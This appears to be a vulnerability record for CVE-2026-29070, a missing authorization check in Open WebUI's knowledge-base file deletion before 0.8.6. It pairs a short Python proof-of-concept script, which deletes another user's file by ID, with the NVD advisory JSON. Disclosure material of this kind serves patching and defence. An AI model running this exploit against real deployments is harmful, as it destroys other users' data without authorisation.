CVE-2026-29070

import requests # Target URL setup target_host = "http://localhost:3000" api_endpoint = "/api/v1/knowledge/base/delete/file" url = target_host + api_endpoint # Attacker's cookie (User with write access to at least one KB) attacker_cookie = { "auth_token": "valid_user_token_with_write_access" } # Malicious payload: Deleting a file ID from a different knowledge base # The attacker knows this ID but does not own the file payload = { "file_id": "target_victim_file_id_12345" } try: response = requests.post(url, json=payload, cookies=attacker_cookie) if response.status_code == 200: print("[+] Exploit successful: Arbitrary file deleted.") else: print(f"[-] Exploit failed: Status {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-29070", "sourceIdentifier": "[email protected]", "published": "2026-03-27T00:16:22.823", "lastModified": "2026-04-01T16:10:43.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, an access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id). Version 0.8.6 patches the issue."}, {"lang": "es", "value": "Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar completamente sin conexión. Antes de la versión 0.8.6, falta una verificación de control de acceso al eliminar un archivo de una base de conocimiento. La única verificación que se realiza es que el usuario tenga acceso de escritura a la base de conocimiento (o sea administrador), pero NO que el archivo realmente pertenezca a esta base de conocimiento. Por lo tanto, es posible eliminar archivos arbitrarios de bases de conocimiento arbitrarias (siempre que se conozca el ID del archivo). La versión 0.8.6 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.8.6", "matchCriteriaId": "98042D01-E16B-45CE-9BBC-E5A6E2AA2370"}]}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-26gm-93rw-cchf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}